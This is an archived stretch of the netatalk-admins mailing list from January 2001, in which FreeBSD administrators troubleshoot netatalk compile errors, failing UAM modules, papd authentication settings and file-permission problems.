I now get the following compile error:

===>  Building for netatalk-1.4b2
Making all for freebsd...
cd ../../libatalk; make   CC="gcc"  ADDLIBS="-lcrypt" DEFS="-DBSD4_4"
OPTOPTS="-
O2"  SBINDIR="/usr/local/atalk/etc" BINDIR="/usr/local/atalk/bin"
RESDIR="/usr/l
ocal/atalk/etc"  ETCDIR="/usr/local/atalk/etc" LIBDIR="/usr/local/atalk/lib"
INC
DIR="/usr/local/atalk/include"  DESTDIR="/usr/local/atalk" AFSDIR=""
KRBDIR="" a
ll
cd asp; make   CC="gcc" DEFS="-DBSD4_4"  OPTOPTS="-O2"
gcc -p -DBSD4_4 -O2 -I../../include -c asp_getsess.c
In file included from asp_getsess.c:7:
/usr/include/sys/signal.h:163: parse error before `size_t'
/usr/include/sys/signal.h:163: warning: no semicolon at end of struct or
union
/usr/include/sys/signal.h:165: parse error before `}'
*** Error code 1

Stop.


This worked for me yesterday, I'm not sure what has happened between then
and now.  Any suggestions?

-Eric


From netatalk.administrators-errors@umich.edu  Tue Jan 16 14:50:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA13692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 14:50:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13023
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 14:50:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA12991
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 14:50:14 -0500 (EST)
Received: from milton.itspace (202-154-142-111-tollfree.connections.net.nz [202.154.142.111])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA12882
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 14:50:10 -0500 (EST)
Received: from alex by milton.itspace with local (Exim 3.12 #1 (Debian))
	id 14Ic75-0003Ji-00
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 08:49:51 +1300
Date: Wed, 17 Jan 2001 08:49:51 +1300
To: netatalk-admins@umich.edu
Subject: FAQ
Message-ID: <20010117084950.A12737@milton.king.net.nz>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
From: Alex King <alex@milton.king.net.nz>

Is there a reasonably up to date FAQ around?  I am thinking of
questions I have seen on the list lately re. Compiling, Permissions
problems, file locking, availability etc.

If not would anyone be interested if I compiled one and posted it to
the list periodically?

I don't have a lot of time to do basic research, but I could have a
list of unanswered questions and grab usefull answers off the list.  I
certainly am not a netatalk expert, but I admin a few systems running
netatalk. My users would benefit from me having a bit more knowledge
abut netatalk, and I imagine compiling a FAQ will help me learn :-)

This is just a toe in the water to test reactions.

PS. If there is already someone maintaining a FAQ, please accept my
apologies (and point me in the right direction)

From netatalk.administrators-errors@umich.edu  Tue Jan 16 15:14:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 15:14:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24206
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 15:14:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24132
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 15:14:06 -0500 (EST)
Received: from coho.saw.net (coho.saw.net [204.119.0.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA24050
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 15:14:04 -0500 (EST)
Received: (qmail 25449 invoked by uid 1009); 16 Jan 2001 20:13:58 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 16 Jan 2001 20:13:58 -0000
Date: Tue, 16 Jan 2001 12:13:58 -0800 (PST)
From: Angelko Krstanovic <angelko@saw.net>
To: Keith Baker <keith@trenza.com>
cc: netatalk-admins@umich.edu
Subject: Re: uams failing
In-Reply-To: <002c01c07fd8$fe316f50$c000000a@Mumia>
Message-ID: <Pine.BSF.4.10.10101161212310.25144-100000@coho.saw.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

for failing uams, try compiling afpd with -rdynamic. i did it
on freebsd4.2 and uams started loading fine.

-angelko

On Tue, 16 Jan 2001, Keith Baker wrote:

> Thanks to this list I got the sourceforge source to compile.1.4.99...  It
> was erroring with -lcrypto...  I noticed that there was also -lcrypt and
> figured they might be an attempt to get libraries of the same veriety...
> 
> > ld -shared  -o uams_dhx_passwd.so
> >
> ams_dhx_passwd.o -lcrypto -lrpcsvc -lresolv -lnsl -ldl -ldb -lcrypt  -lpam
> > -lwrap
> > ld: cannot find -lcrypto
> 
> 
> I noticed durring the compile that other things were using -lcrypto and were
> compiling correctly so I think I may have been wrong.  But...  things
> compiled happily after this.  When I went to try and use the authentication
> modules my Mac was yelling about unsuported UAM.  I hunted around and found
> the DHX UAM from apple.  This didn't help.  Oh yeah...  I was trying to use
> DHX only (uams_dhx_pam.so)...  Also note that it works fine with
> uams_clrtxt.so...  So I poked through my logs and noticed that low and
> behold uams_dhx_pam.so was failing!  doh!
> 
> papd[25717]: uam_load(uams_dhx_pam.so): failed to load.
> papd[25717]: /etc/atalk/uams/uams_dhx_pam.so: undefined symbol: BN_bin2bn
> 
> afpd was getting similar errors
> 
> I am guessing that having ssl in /usr/local/ssl has something to do with it
> (the shared libs aren't available?)
> Any help?
> 


From netatalk.administrators-errors@umich.edu  Tue Jan 16 15:33:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA15249
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 15:33:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09920
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 15:33:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09909
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 15:33:15 -0500 (EST)
Received: from coho.saw.net (coho.saw.net [204.119.0.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA09874
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 15:33:14 -0500 (EST)
Received: (qmail 27483 invoked by uid 1009); 16 Jan 2001 20:33:15 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 16 Jan 2001 20:33:15 -0000
Date: Tue, 16 Jan 2001 12:33:15 -0800 (PST)
From: Angelko Krstanovic <angelko@saw.net>
To: netatalk-admins@umich.edu
Subject: openfork fails
Message-ID: <Pine.BSF.4.10.10101161216460.25144-100000@coho.saw.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

in order to get netatalk-1.4b2+asun2.1.4 (pre-asun2.1.4-37b.tar.gz) to run
on a fresh install of freebsd 4.2, i removed -lnsl from etc/afpd/Makefile
(TCPWRAPLIBS="-lwrap -lnsl";), and added -rdynamic to the same file
(at end of CFLAGS) in order to alleviate the 'failed to load' uam_load()
error.

netatalk volume contains lage golive projecs. when golive (v5)
starts opening a project, at some point during the process syslog
reports:
  afpd[4230]: afp_openfork: ad_open: Input/output error

golive usually crashes after this.

the same behavior exibited netatalk-1.4b2+asun2.1.3.

any suggestions?
-angelko



From netatalk.administrators-errors@umich.edu  Tue Jan 16 17:48:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19569
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 17:48:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05019
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 17:48:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05003
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 17:48:44 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA04954
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 17:48:42 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id RAA17428
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 17:45:20 -0500
Message-ID: <00fb01c0800f$3e6adf30$c000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject: UAMs failing cont.
Date: Tue, 16 Jan 2001 17:54:12 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Ok...  so...
I used 1.4.99 and it compiled and worked fine...  No -lcrypto error and DHX
says it is loaded (no time to test yet -- have to get to a mac console)

the only problem I have now is this:
Jan 16 15:56:18 gatekeeper papd[7742]: Authentication disabled: HP LaserJet
III
Jan 16 15:56:18 gatekeeper papd[7742]: register HP LaserJet
III:LaserWriter@Printers

current config papd.conf

HP LaserJet III@Printers:\
        :pr=lp:op=@wheel:\
        :au:am=uams_dhx_pam.so:\
        :pd=/usr/local/share/hp_3p522.ppd:
  Why no dice?


From netatalk.administrators-errors@umich.edu  Tue Jan 16 17:52:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19727
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 17:52:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA11484
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 17:52:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA11429
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 17:52:43 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA11351
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 17:52:41 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0GMoQ729332
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 17:50:26 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A64CFFF.15DE4D9A@mail.iowna.com>
Date: Tue, 16 Jan 2001 17:49:35 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Macs unable to delete directories created by other systems
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Is this a know problem?
Here are the particulars:
netatalk-1.4b2+asun2.1.3_1 as installed from the FreeBSD packages system
onto a FreeBSD-4.2-STABLE server. No config changes were made other than
to add 1 volume to the config file. This server is also running
Samba-2.0.7 and NFS to share filesystems in conjunction with Macs. No
printers configured. One volume, called public is available. The
computer is a AMD 1100mhz, with 128M RAM, dual SCSI drives mirrored with
vinum (using Adeptec 29160N adapters and IBM drives) ASUS motherboard,
Intel 10/100 Ethernet adapter.
Clients are Mac G4s (mostly) and some other Macs as well.

This is what happens: When a directory tree is created from NT via
Samba, or from SGI-UN*X via
NFS, the Macintosh can not delete the directory. It reports that the
directory is in use, asks if you would like to remove it anyway, but
doesn't remove it -even if you try to force it. The directory can be
removed without error via Samba from NT, via NFS from SGI or locally at
the server. I took special care when testing/isolating this problem to
insure that no systems were "using" this directory, yet this message
appeared.
Samba, NFS and Netatalk all work as user "nobody". Directories created
by SGI & NT have perms rwxrwxr-x and belong to nobody:wheel. Directories
created by Netatalk have perms rwxrwxrwx and belong to nobody:wheel.
When trying to delete a directory tree several levels deep from the Mac
(under these conditions) all files will be deleted but no directories
will. When viewing the directories on another system (SGI, FreeBSD or
NT), the .AppleDouble directories remain. These trees can be
successfully deleted from SGI, NT or FreeBSD.
Please note that directories created on the server by the Mac never
cause this problem.

The question is: is this something I can configure around, or have I
uncovered a bug. If it's a bug, how can I help to get it fixed?

-Bill

From <>  Tue Jan 16 17:59:03 2001
Return-Path: <<>>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20158
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 17:59:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA07976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 17:59:03 -0500 (EST)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA07907
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 17:59:00 -0500 (EST)
Received: from [216.64.45.172] (helo=[192.168.99.123])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14If48-000EVP-00; Tue, 16 Jan 2001 15:59:00 -0700
Received: from [216.64.45.172] (helo=[192.168.99.123])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14If3K-000EVH-00; Tue, 16 Jan 2001 15:58:10 -0700
Date: Tue, 16 Jan 2001 17:50:42 -0500
From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: netatalk-admins@umich.deu
cc: chad@objectwerks.com
Message-ID: <414898715.979667442@[192.168.99.123]>
X-Mailer: Mulberry/2.0.5 (Win32)
Resent-Date: Tue, 16 Jan 2001 17:51:31 -0500
Resent-From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Resent-Reply-To: chad@objectwerks.com
Resent-To: netatalk-admins@umich.edu
Resent-cc: chad@objectwerks.com
Subject: "don't have enough privileges to create folder" error
Resent-Message-ID: <414948230.979667491@[192.168.99.123]>
X-Resent-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; FORMAT=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi

This appears more complicated than the title suggests.  I looked at the FAQ 
on sourceforge.net and the question that appears to be the same as mine but 
the solution did not solve it.

I try and create a folder anywhere in my share and it says I can't because 
I don't have enouhg privileges but idoes it anyway.  The user I am logging 
in as has complete rights to the files and folders  listed in the share, 
including user and group r+w+x privilege.

I try and copy in a folder from the Mac and it creates the folder but then 
says that it has no rights to create the first file contained in that 
folder and quits.

I have 1.42+asun version on FreeBSD 4.2.

I have a share that is owned by user "chad" group "staff".  Here is the 
configuration in the AppleVolumes.default file in /usr/local/etc

/mirror1/companies  "Company Data" options=crlf

megumi# cd /mirror1/companies/
megumi# ls -al
total 14
drwxrwx---  14 chad  staff  512 Jan 16 15:41 .
drwxrwx---   8 root  wheel  512 Jan  8 20:39 ..
drwxrwx---   6 chad  staff  512 Jan  6 18:38 .AppleDesktop
drwxrwx---   2 chad  staff  512 Jan  6 18:30 .AppleDouble
drwxrwx---   4 chad  staff  512 Jan 16 14:05 Applications
drwxrwx---   5 chad  staff  512 Jan  6 18:39 Leigh America Company
drwxrwx---   3 chad  staff  512 Jan 16 15:28 Network Trash Folder
drwxrwx---   4 chad  staff  512 Jan  6 18:22 Shire.Net LLC
drwxrwx---   3 chad  staff  512 Jan  6 18:19 TheFindByContentFolder
drwxrwx---   3 chad  staff  512 Jan  6 18:20 TheVolumeSettingsFolder
drwxrwx---   3 chad  staff  512 Jan 16 15:24 untitled folder
drwxrwx---   3 chad  staff  512 Jan 16 15:28 untitled folder 1
drwxrwx---   3 chad  staff  512 Jan 16 15:28 untitled folder 2
drwxrwx---   3 chad  staff  512 Jan 16 15:41 untitled folder 3

I am logging in as user "chad" which has a default group "staff" in the 
passwd file on the FreeBSD box.

Using ps -aux I list 3 afpd, two running as user "chad" (from 2 macs" and 
one as root which I assume is the one listed as "LISTEN" when I do a 
netstat -a.

When all the files were listed as

drwxr-xr-x it didn't work either.

The console is giving me the message:  afpd[blah]: setdirmode: chmod 
.AppleDouble"Operation not permitted

I check all the .AppleDouble folders and they are all owned by the same 
user / group chad:staff as is the user logging in and they are all 
rwxrwx--- (also tried rwxr-xr-x) so I don't know what operation is not 
permitted on which .AppleDouble since the user is all correct as far as I 
can tell.

I am stuck and don't know what I can do and cannot find any documentation 
or anything that gives me more enlightenment.  Anyone care to give me a 
hand?

Thanks
Chad



From netatalk.administrators-errors@umich.edu  Tue Jan 16 18:41:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA21379
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 18:41:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA23182
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 18:40:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA23165
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 18:40:57 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA23093
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 18:40:55 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id PAA14569;
	Tue, 16 Jan 2001 15:40:59 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Tue, 16 Jan 2001 15:40:59 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Keith Baker <keith@trenza.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: UAMs failing cont.
In-Reply-To: <00fb01c0800f$3e6adf30$c000000a@Mumia>
Message-ID: <Pine.LNX.4.30.0101161533390.2887-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 16 Jan 2001, Keith Baker wrote:

> Ok...  so...
> I used 1.4.99 and it compiled and worked fine...  No -lcrypto error and DHX
> says it is loaded (no time to test yet -- have to get to a mac console)
>
> the only problem I have now is this:
> Jan 16 15:56:18 gatekeeper papd[7742]: Authentication disabled: HP LaserJet
> III
> Jan 16 15:56:18 gatekeeper papd[7742]: register HP LaserJet
> III:LaserWriter@Printers
>
> current config papd.conf
>
> HP LaserJet III@Printers:\
>         :pr=lp:op=@wheel:\
>         :au:am=uams_dhx_pam.so:\
>         :pd=/usr/local/share/hp_3p522.ppd:
>   Why no dice?

Okay, this is my fault for not updating the documentation on authenticated
printing.  The flags you need to set in papd.conf have changed because we
also support CAP-style authenticated printing.  Here's the quick rundown:

CAP-style auth		:ca:
PSSP style auth		:sp:
List of UAMS		:am=uams_clrtxt.so:  (etc)

So you should use the :sp: flag instead of :au: above.

However, it does not support the DHX uam for PSSP style authenticated
printing.  There was no Apple documentation on the proper printing
handshake for DHX, and I don't have a "real" Appleshare server to find out
if DHX is actually supported.  If it is, then I could sniff the session
and find out what the handshake is.

So unfortunately, there is no encrypted login for printing right now.  Of
course, you could always use the CAP style authenticated printing, where
the login really just depends on the file server login (which could be
encrypted).

	Andy


From netatalk.administrators-errors@umich.edu  Tue Jan 16 23:22:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA28555
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 23:22:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26081
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 23:22:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26060
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 23:22:10 -0500 (EST)
Received: from milquetoast.cs.mcgill.ca (milquetoast.CS.McGill.CA [132.206.2.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA26019
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 23:22:09 -0500 (EST)
Received: (from andrewb@localhost)
	by milquetoast.cs.mcgill.ca (8.9.3/8.9.3) id XAA28584
	for netatalk-admins@umich.edu; Tue, 16 Jan 2001 23:22:04 -0500 (EST)
Date: Tue, 16 Jan 2001 23:22:04 -0500
From: Andrew BOGECHO <andrewb@cs.mcgill.ca>
To: netatalk-admins@umich.edu
Subject: Thank you
Message-ID: <20010116232204.C28138@cs.mcgill.ca>
Mail-Followup-To: Andrew BOGECHO <andrewb@cs.mcgill.ca>,
	netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Organization: SOCS, McGill University, Montreal, CANADA

Tue Jan 16 23:17:53 EST 2001

Running FreeBSD 4.2 RELEASE and netatalk-1.4b2+asun2.1.3_1. It all
works beautifully, even printing to a Lexmark E312 printer that is
attached to the BSD machine.

Just wanted to say thank you to you all. I have never been happier.

Andrew.


From netatalk.administrators-errors@umich.edu  Wed Jan 17 07:45:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07578
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 07:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA07346
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 07:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA07322
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 07:45:08 -0500 (EST)
Received: from mailout1-1.nyroc.rr.com (mailout1-0.nyroc.rr.com [24.92.226.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA07217
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 07:45:06 -0500 (EST)
Received: from yua (cm-24-169-14-151.nycap.rr.com [24.169.14.151])
	by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with SMTP id HAA08553;
	Wed, 17 Jan 2001 07:41:21 -0500 (EST)
From: "Alex Yu" <yua@artlover.com>
To: "Bill Moran" <wmoran@mail.iowna.com>, <netatalk-admins@umich.edu>
Subject: RE: Macs unable to delete directories created by other systems
Date: Wed, 17 Jan 2001 07:46:44 -0500
Message-ID: <IEEILAPLNJHNOBJJALJJGEGJCDAA.yua@artlover.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3A64CFFF.15DE4D9A@mail.iowna.com>

> This is what happens: When a directory tree is created from NT via
> NFS, the Macintosh can not delete the directory. It reports that the

How many characters did you use on files/dirs?  Mac will have problems for
seeing and accessing files/dirs with more than 32 characters.

Alex


From netatalk.administrators-errors@umich.edu  Wed Jan 17 08:42:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA08768
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 08:42:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA22833
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 08:42:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA22811
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 08:42:04 -0500 (EST)
Received: from mail.iglobal.net (mail.iglobal.net [209.164.193.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA22779
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 08:42:03 -0500 (EST)
Received: from [172.18.202.129] (209-164-195-242.iglobal.net [209.164.195.242])
	by mail.iglobal.net (8.10.0/8.10.0) with ESMTP id f0HDg1P09534
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 07:42:01 -0600
Mime-Version: 1.0
X-Sender: tazzjoe@mail.earthlink.net
Message-Id: <p05010400b68b4c5c3313@[172.18.202.129]>
In-Reply-To: <003401c07fdc$917b1830$c000000a@Mumia>
References: <003401c07fdc$917b1830$c000000a@Mumia>
Date: Wed, 17 Jan 2001 07:41:52 -0600
To: netatalk-admins@umich.edu
From: Joe McGovern <tazzjoe@earthlink.net>
Subject: Re: Guest Only Server
Content-Type: text/plain; charset="us-ascii"

I am having network "slowdown" problem with two Macintosh G4s (OS 9.0.4) and a FreeBSD (4.1 release) server with Netatalk-1.4b2+asun2.1.3. For the first month or so the transfer speed between the Macs and FreeBSD were good. Now they are horribly slow. About 45min - 1hour to copy a 60M directory either way. However, an older mac (PM7500 OS 8.6) is having no slowdown connecting to the same server.

A new system was installed on one of the G4s and the speed problem seemed to disappear. This is a possible solution but without knowing what the cause of the slowdown was I am afraid that it may arise again.

Any ideas or insight would be greatly appreciated.
-- 
====================
Joe McGovern
tazzjoe@earthlink.net
====================

From netatalk.administrators-errors@umich.edu  Wed Jan 17 09:18:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA09712
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Jan 2001 09:18:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA12898
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Jan 2001 09:18:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA12869
	for netatalk.administrators-members@umich.edu; Wed, 17 Jan 2001 09:18:00 -0500 (EST)
Received: from cpa27.ups-tlse.fr (cpa27.ups-tlse.fr [130.120.96.27])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA12783
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 09:17:58 -0500 (EST)
Received: from cpa227.ups-tlse.fr (IDENT:deepak@cpa227.ups-tlse.fr [130.120.96.227])
	by cpa27.ups-tlse.fr (8.9.0/8.9.0) with ESMTP id PAA12892
	for <netatalk-admins@umich.edu>; Wed, 17 Jan 2001 15:05:42 +0100 (MET)
Date: Wed, 17 Jan 2001 15:21:16 +0100 (CET)
